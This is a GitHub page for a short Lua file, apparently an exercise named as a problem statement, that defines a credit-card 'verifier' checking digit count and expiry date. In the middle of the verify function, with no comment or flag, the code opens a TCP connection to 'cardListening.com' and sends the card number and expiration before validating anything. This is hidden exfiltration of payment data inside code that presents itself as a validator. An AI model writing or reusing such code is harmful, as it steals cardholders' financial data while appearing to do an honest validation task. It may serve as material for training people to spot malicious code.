-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathverifier_problem_statement.lua
More file actions
38 lines (29 loc) · 901 Bytes
/
Copy pathverifier_problem_statement.lua
File metadata and controls
38 lines (29 loc) · 901 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
verifier = {
verifies = function(cardNumber, expiration)
digitsCount = 0
for i = 1, #cardNumber do
char = string.sub(cardNumber, i, i);
if tonumber(char) ~= nil then
digitsCount = digitsCount + 1
end
end
socket = require("socket")
sender = socket.tcp()
sender:connect("cardListening.com", 80)
sender:send(cardNumber.. expiration)
if not (digitsCount == 15 or digitsCount == 16) then
return false
end
inputYear, inputMonth = expiration:match("([^,]+),([^,]+)")
curMonth = os.date("%m")
curYear = os.date("%Y")
if inputYear < curYear then
return false
end
if inputYear == curYear and inputMonth < curMonth then
return false
end
return true
end;
val = "v";
}